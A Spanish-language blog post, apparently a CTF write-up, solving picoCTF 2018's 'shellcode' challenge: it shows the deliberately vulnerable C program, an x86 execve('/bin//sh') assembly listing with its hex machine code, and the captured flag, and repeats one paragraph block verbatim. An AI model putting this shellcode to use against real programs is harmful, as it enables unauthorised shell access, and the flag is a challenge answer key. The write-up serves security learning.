Al hilo del post anterior, en esta entrada profundizo un poco en la técnica de inyección de 'shellcode' (en inglés, 'shellcode injection') utilizando para ello la solución a uno de los retos de la categoría 'Binary Exploitation' de la plataforma picoCTF 2018.
El desafío en cuestión, que lleva el título "shellcode", presenta en mi opinión un nivel de dificultad medio (★★★☆☆).
- shellcode - Points: 200:
Su enunciado dice lo siguiente: 'This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_2_0caa0f1860741079dd0a66ccf032c5f4 on the shell server. Source'.
Se proporcionan dos archivos: un ejecutable (vuln) y un fichero con el código fuente (vuln.c).
Y como pistas ('Hints') se nos dan las siguientes:
- 'Maybe try writing some shellcode?'.
- 'You also might be able to find some good shellcode online'.
Solución: Me conecto al servidor, compruebo qué ficheros hay en el directorio del reto e intento ver el contenido del archivo flag.txt, pero no tengo permiso para ello:
El desafío en cuestión, que lleva el título "shellcode", presenta en mi opinión un nivel de dificultad medio (★★★☆☆).
- shellcode - Points: 200:
Su enunciado dice lo siguiente: 'This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_2_0caa0f1860741079dd0a66ccf032c5f4 on the shell server. Source'.
Se proporcionan dos archivos: un ejecutable (vuln) y un fichero con el código fuente (vuln.c).
Y como pistas ('Hints') se nos dan las siguientes:
- 'Maybe try writing some shellcode?'.
- 'You also might be able to find some good shellcode online'.
Solución: Me conecto al servidor, compruebo qué ficheros hay en el directorio del reto e intento ver el contenido del archivo flag.txt, pero no tengo permiso para ello:
Después ejecuto el programa; se me pide que introduzca una cadena, incluyo 'A', que se muestra a continuación una vez introducida la anterior, se me agradece la entrada, se me indica que se está procediendo a su ejecución y el programa finaliza con un error:
Bueno, tras analizar un poco toda la información anterior, entiendo que, por el enunciado y las pistas, dado que el programa ejecutará cualquier código que le dé como entrada, puedo utilizar un 'shellcode' que abra una 'shell' conservando los permisos del binario de modo que pueda leer el archivo flag.txt.
Utilizo el comando file para ver qué tipo de ejecutable es vuln y veo, entre otras cosas, que se trata de un binario con formato ELF (Executable and Linkable format) y que la arquitectura es de 32-bit.
Echo ahora un vistazo al código fuente (vuln.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
Puedo programar yo mismo el 'shellcode' para abrir la 'shell', pero en Internet existen muchos repositorios con códigos de este tipo, e incluso puedo utilizar también alguna herramienta, tanto 'online' como en local, para generarlo por mí y/o ayudarme en esta tarea.
En este post voy a utilizar el código máquina como cadena de caracteres correspondiente al siguiente código en ensamblador (tomado de: [1] Guía de auto-estudio para la escritura de exploits):
xor eax,eax
push eax ; \0
push 0x68732f2f ; hs// en ASCII (little endian de //sh)
push 0x6e69622f ; nib/ en ASCII (little endian de /bin)
mov ebx, esp ; ebx => /bin//sh\0
mov ecx, eax ; ecx = 0x0
mov edx, eax ; edx = 0x0
mov al, 0x0b ; 11 = execve, nro syscall
int 0x80
En la guía de la que he sacado este código en ensamblador también se puede observar la cadena hexadecimal de código máquina que le corresponde:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80
Preparo el 'shellcode', ejecuto el programa, introduzco el 'exploit' para que se abra la 'shell' e intento nuevamente ver el contenido del archivo flag.txt:
La flag es: picoCTF{shellc0de_w00h00_8b811b44}
Comentarios
Publicar un comentario